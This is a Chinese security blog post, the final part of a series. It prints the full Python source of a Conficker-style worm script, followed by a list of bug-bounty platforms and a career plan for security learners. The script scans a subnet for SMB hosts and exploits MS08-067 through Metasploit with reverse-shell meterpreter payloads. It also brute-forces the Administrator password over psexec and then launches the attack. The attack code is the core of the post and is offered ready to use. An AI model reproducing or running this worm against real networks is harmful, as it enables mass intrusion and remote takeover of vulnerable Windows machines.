前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)蠕虫完整代码(√)
让读者如虎添翼
conficker蠕虫博文 目标 状态 【Python脚本进阶】conficker蠕虫(上):Metasploit攻击Windows SMB服务 Metasploit攻击 已发布 【Python脚本进阶】conficker蠕虫(中):Python脚本与Metasploit交互 Python脚本与Metasploit交互 已发布 【Python脚本进阶】conficker蠕虫(下):暴破口令,远程执行进程 暴破口令,远程执行进程 已发布 【Python脚本进阶】conficker蠕虫(终) 完整代码 已发布
完整
脚本能扫描可能的目标, 利用MS08_067漏洞, 并通过暴力猜测密码远程执行一个进程。
最后, 还要在main()函数中添加一些参数解析代码,然后调用刚才编写的那些函数, 以完成脚本的编写。
import os import optparse import sys import nmap def findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet, '445') tgtHosts = [] for host in nmScan.all_hosts(): if nmScan[host].has_tcp(445): state = nmScan[host]['tcp'][445]['state'] if state == 'open': print('[+] Found Target Host:' + host) tgtHosts.append(host) return tgtHosts def setupHandler(configFile, lhost, lport): configFile.write('use exploit/multi/handler\n') configFile.write('setPAYLOAD ' + 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') configFile.write('setg DisablePayloadHandler 1\n') def confickerExploit(configFile, tgtHost, lhost, lport): configFile.write('use exploit/windows/smb/ms08_067_netapi \n') configFile.write('set RHOST ' +str(tgtHost) +'\n') configFile.write('set PAYLOAD '+ 'windows/meterpreter/reverse_tcp\n') configFile. write ('set LPORT ' +str(lport) + '\n') configFile. write ('set LHOST ' +lhost +'\n') configFile. write ('exploit -j -z\n') def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): username = 'Administrator' pF = open( passwdFile, 'r' ) for password in pF.readlines(): password = password.strip('\n').strip('\r') configFile.write('use exploit/windows/smb/psexec\n') configFile.write('set SMBUser ' + str(username) + '\n') configFile.write('set SMBPass ' + str(password) + '\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD ' + 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') def main(): configFile = open('meta.rc', 'w') parser = optparse.OptionParser('[-] Usage%prog ' + '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]') parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address [es]') parser.add_option('-p', dest='lport', type='string', help='specify the listen port') parser.add_option('-l', dest='lhost', type = 'string', help='specify the listen address') parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt') (options, args) = parser.parse_args() if (options.tgtHost == None) | (options.lhost == None): print(parser.usage) exit(0) lhost = options.lhost lport = options.lport if lport == None: lport = '1337' passwdFile = options.passwdFile tgtHosts = findTgts(options.tgtHost) setupHandler(configFile, lhost, lport) for tgtHost in tgtHosts: confickerExploit(configFile, tgtHost, lhost, lport) if passwdFile != None: smbBrute(configFile, tgtHost, passwdFile, lhost, lport) configFile.close() os.system('msfconsole -r meta.re') if __name__ == '__main__': main()
网络安全三年之约
First year
掌握各种原理、不断打新的靶场
目标:edusrc、cnvd
主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/
second year
不断学习、提升技术运用技巧,研究各种新平台
开始建立自己的渗透体系
目标:众测平台、企业src应急响应中心
众测平台 URL 漏洞盒子 漏洞盒子 | 互联网安全测试众测平台 火线安全平台 火线安全平台 漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台 360漏洞众包响应平台 360漏洞云漏洞众包响应平台 补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC 春秋云测 首页 雷神众测(可信众测,安恒) 雷神众测 - BountyTeam 云众可信(启明星辰) 云众可信 - 互联网安全服务引领者 ALLSEC ALLSEC 360众测 360众测平台 看雪众测(物联网) https://ce.kanxue.com/ CNVD众测平台 网络安全众测平台 工控互联网安全测试平台 CNCERT工业互联网安全测试平台 慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone 平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL 阿里 https://asrc.alibaba.com/#/ 腾讯 https://security.tencent.com/ 百度 https://bsrc.baidu.com/v2/#/home 美团 https://security.meituan.com/#/home 360 https://security.360.cn/ 网易 https://aq.163.com/ 字节跳动 https://security.bytedance.com/ 京东 https://security.jd.com/#/ 新浪 http://sec.sina.com.cn/ 微博 https://wsrc.weibo.com/ 搜狗 http://sec.sogou.com/ 金山办公 https://security.wps.cn/ 有赞 https://src.youzan.com/
Third Year
学习最新的知识,建全自己的渗透体系
目标:参与护网(每一个男孩子心中的梦想)
时间:一般5月面试,6/7月开始(持续2-3周)
分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)